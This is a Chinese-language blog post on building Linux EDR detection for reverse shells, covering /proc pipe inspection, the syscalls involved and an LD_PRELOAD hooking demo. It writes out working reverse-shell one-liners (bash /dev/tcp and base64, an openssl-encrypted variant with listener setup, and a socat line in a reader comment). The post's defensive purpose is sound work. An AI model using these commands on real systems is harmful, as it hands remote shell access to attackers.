Linux下EDR产品设计:通过行为模式检测恶意反弹shell
1430764975018111 发表于 江苏 历史精选 1306浏览 · 2024-10-30 16:16

前言

在linux下的EDR产品相对较少,且相对没有那么成熟,但是个人刚好在研究接触这方面的知识,也顺便将一些知识作为输出。

话说回来,反弹shell,在渗透过程中都不陌生,常规的产品针对,默认的反弹shell

例如

sh -i >& /dev/tcp/10.10.10.10/9001 0>&1
L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMC85MDAxIDA+JjE=

不管用base64还是常规的其他编码,都能被识别,这是很正常的。

现在提到另一种,使用openssl进行加密的反弹shell,在测试中有几家的产品没有捕获,这是比较意外的,但是仔细想一想,本身ssl加密的情况,流量已经被加密了,捕获不到其实蛮正常的。

ssl加密环境

首先在攻击机

建立一个证书

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes

建立一个监听端口

openssl s_server -quiet -key key.pem -cert cert.pem -port xxx

受害机执行

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s

反弹shell行为思考

反弹shell的监测也可以从网络层进行监测,但是文章标题都写了是行为分析,所以肯定只从行为上进行考虑。

要明白怎么检测其实很简单,反弹shell的操作,从rce或者是从本机上进行执行,都会产生一个终端shell进行执行,再到另一个终端上,所以反弹shell能得到的shell,不是一个真实存在的shell,是一个伪shell。伪终端的进程

这样的一个特点就是,伪终端是依赖于真实终端上的,所以我们能依靠这个特点查询反弹shell进程的操作

所以现在到验证阶段,我们可以通过命令

ps -ef | grep "bin/sh"

去查找相关的进程,然后涉及到另一个重要的思想,Linux下万物皆文件的思想

再通过

ls /proc/xxx/fd -alh

可以列出来文件的一些特性!从展现出来的进程验证了我们的猜想,反弹shell的管道,pipe是同一个,这是一个非常强的特征。

链路行为分析

不知道有没有想过一个问题,就是无论是c2工具,还是终端,在执行命令的时候,它的底层到底经历了什么。弄清楚底层能更全面的帮助我们建设产品。

我们举例

从whoami进行分析

whoami执行的时候

1. Shell 解析和查找命令

当用户在 Shell(如 Bash 或 Zsh)中输入 whoami 时,Shell 会按以下步骤解析和查找该命令:

  • 命令解析:Shell 接收到输入的命令 whoami,会判断其是否是内建命令(即直接由 Shell 提供的功能,如 cd)。
  • PATH 环境变量查找:若不是内建命令,Shell 会从 PATH 环境变量中定义的目录列表中,依次查找 whoami 可执行文件的位置。

通常 whoami 位于 /usr/bin/whoami,一旦找到,Shell 会通过系统调用将 whoami 程序加载到内存中执行。

2. 系统调用:创建新进程并加载程序

在找到 whoami 程序的可执行文件后,Shell 会通过 系统调用 创建一个新进程并加载程序:

  • fork() 系统调用:Shell 使用 fork() 系统调用复制自身进程,生成一个子进程。这是 UNIX/Linux 系统中创建新进程的常用方式,fork() 创建的子进程几乎完全继承父进程的环境。
  • exec() 系统调用:子进程创建后,Shell 使用 exec() 系统调用将子进程的代码替换为 whoami 程序的代码。此时,子进程的地址空间被替换成 whoami 程序的地址空间。

3. whoami 程序的执行流程

whoami 程序的主要功能是获取并显示当前用户的用户名。其底层实现通过 系统调用 获取用户 ID,然后将其转换为用户名并输出。

  1. 获取用户 ID (UID)whoami 程序首先调用 getuid() 系统调用获取当前用户的用户 ID (UID)。
  2. 转换 UID 为用户名:接下来,whoami 调用系统库(如 GNU C Library 中的 getpwuid())通过 UID 查询用户名。这个查询过程会访问系统中的用户数据库(通常是 /etc/passwd 文件),根据 UID 找到对应的用户名。
  3. 输出用户名:找到用户名后,whoami 使用 printf()puts() 等输出函数,将用户名显示到标准输出。

4. 内核处理 I/O 操作

whoami 调用 printf() 输出用户名时,底层 I/O 操作也依赖系统调用:

  • write() 系统调用printf() 库函数最终会调用 write() 系统调用,将用户名字符串写入标准输出(通常是终端设备)。
  • 终端设备驱动:内核通过文件系统和终端设备驱动,将数据传送至用户终端界面,完成输出。

5. whoami 进程退出

完成输出后,whoami 程序调用 exit() 函数以退出:

  • exit() 系统调用whoami 进程在执行完毕后,会调用 exit() 系统调用通知内核结束进程。内核会释放 whoami 占用的所有资源,并将其状态返回给父进程(即 Shell)。
  • Shell 获取控制权:Shell 收到子进程的退出状态后,继续等待用户输入下一条命令

所以说输入的每一个命令,都是存在系统调用的,这就是它的底层

从反弹shell进行分析

无论是否需要加密,都会有几个强特征可以进行分析,下面进行举例

  1. Socket 系统调用:Shell 使用 socket() 系统调用创建一个新的 TCP 套接字。
  2. 连接远程主机:然后调用 connect() 系统调用,将该套接字连接到 IP 端口。若连接成功,这个套接字将能与远程服务器的套接字进行数据交换。

I/O 重定向

接下来,Shell 解析并执行 >&0>&1 以完成 I/O 重定向:

  • >& 表示将标准输出(文件描述符 1)和标准错误(文件描述符 2)重定向到指定目标,也就是重定向到该 TCP 套接字。
  • 0>&1 将标准输入(文件描述符 0)也重定向到文件描述符 1,即 TCP 套接字。

具体流程如下:

  1. 重定向标准输出:Shell 使用 dup2() 系统调用,将标准输出的文件描述符(1)重定向到连接的 TCP 套接字。
  2. 重定向标准错误:Shell 通过 dup2() 再次将标准错误(2)也重定向到 TCP 套接字。
  3. 重定向标准输入:Shell 使用 dup2() 将标准输入(0)重定向到 TCP 套接字。

所以只要有反弹shell,就会存在socket(),connect(),dup2()的系统调用

LD_PRELOAD系统调用的监控

其实到这一步,跟传统的windows下的EDR设计很像,都是要进行hook,只不过我们要hook的是linux的系统调用。下面介绍一个linux的特别的东西LD_PRELOA,它可以优先加载自定义共享库实现对程序行为的动态控制,所以也可以用来进行监控,跟踪的操作目前采用这种方案的有腾某云。我们可以利用它来对上面的函数进行跟踪。但是LD_PRELOAD并不是完美的,存在的问题不少,但是这不是本文的重点,后面的文章会继续设计。

demo

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>

// 声明原始函数指针
int (*original_socket)(int, int, int);
int (*original_connect)(int, const struct sockaddr *, socklen_t);
int (*original_dup2)(int oldfd, int newfd);

// 覆盖 socket() 函数
int socket(int domain, int type, int protocol) {
    if (!original_socket) {
        original_socket = dlsym(RTLD_NEXT, "socket");
    }
    printf("[monitor] socket() called with domain=%d, type=%d, protocol=%d\n", domain, type, protocol);
    return original_socket(domain, type, protocol);
}

// 覆盖 connect() 函数
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen) {
    if (!original_connect) {
        original_connect = dlsym(RTLD_NEXT, "connect");
    }
    char ip[INET_ADDRSTRLEN];
    struct sockaddr_in *in_addr = (struct sockaddr_in *)addr;
    inet_ntop(AF_INET, &in_addr->sin_addr, ip, sizeof(ip));
    printf("[monitor] connect() called with sockfd=%d, ip=%s, port=%d\n", sockfd, ip, ntohs(in_addr->sin_port));
    return original_connect(sockfd, addr, addrlen);
}

// 覆盖 dup2() 函数
int dup2(int oldfd, int newfd) {
    if (!original_dup2) {
        original_dup2 = dlsym(RTLD_NEXT, "dup2");
    }
    printf("[monitor] dup2() called with oldfd=%d, newfd=%d\n", oldfd, newfd);
    return original_dup2(oldfd, newfd);
}

编译共享库

将上述代码保存为 monitor.c,然后使用以下命令编译为共享库:

gcc -fPIC -shared -o monitor.so monitor.c -ldl

使用 LD_PRELOAD 加载库进行监控

假设我们要监控某个程序(如 nc 命令),可以使用 LD_PRELOAD 加载 monitor.so 进行运行:

LD_PRELOAD=./monitor.so nc ip port

在程序运行过程中,每当调用 socket()connect()dup2() 时,都会输出相应的监控信息。

输出示例

当程序调用 socket()connect()dup2() 时,可能会看到如下输出:

[monitor] socket() called with domain=2, type=1, protocol=0
[monitor] connect() called with sockfd=3, ip=192.168.1.10, port=80
[monitor] dup2() called with oldfd=1, newfd=2
1 条评论
某人
表情
可输入 255
64950****@qq.com
2025-01-02 09:51 北京 0 回复

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.20:4444